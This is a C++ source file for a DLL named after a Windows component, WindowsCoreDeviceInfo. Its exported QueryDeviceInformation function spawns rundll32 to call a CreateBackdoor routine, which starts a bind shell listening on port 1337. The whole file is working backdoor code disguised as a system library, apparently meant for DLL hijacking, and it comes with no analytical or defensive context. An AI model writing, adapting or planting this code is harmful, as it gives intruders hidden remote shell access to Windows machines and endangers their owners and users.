WindowsCoreDeviceInfo.cpp

#include <Windows.h>
#include <iostream>
#include <strsafe.h>

#include "BindShell.h"

#define BUFSIZE 1024 

HRESULT __stdcall QueryDeviceInformation()
{
	STARTUPINFO si;
	PROCESS_INFORMATION pi;

	ZeroMemory(&si, sizeof(STARTUPINFO));
	ZeroMemory(&pi, sizeof(PROCESS_INFORMATION));

	si.cb = sizeof(STARTUPINFO);

	WCHAR cmdLine[BUFSIZE];
	ZeroMemory(cmdLine, BUFSIZE);
	StringCchCat(cmdLine, BUFSIZE, L"rundll32 windowscoredeviceinfo.dll,CreateBackdoor");

	CreateProcess(nullptr, cmdLine, nullptr, nullptr, FALSE, 0, nullptr, nullptr, &si, &pi);

	CloseHandle(pi.hThread);
	CloseHandle(pi.hProcess);

	return S_OK;
}

HRESULT __stdcall CreateBackdoor()
{
	BindShell bindShell;
	bindShell.Run(1337);

	return S_OK;
}

BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
{
	switch (ul_reason_for_call)
	{
	case DLL_PROCESS_ATTACH:
		break;
	case DLL_THREAD_ATTACH:
	case DLL_THREAD_DETACH:
	case DLL_PROCESS_DETACH:
		break;
	}
	return TRUE;
}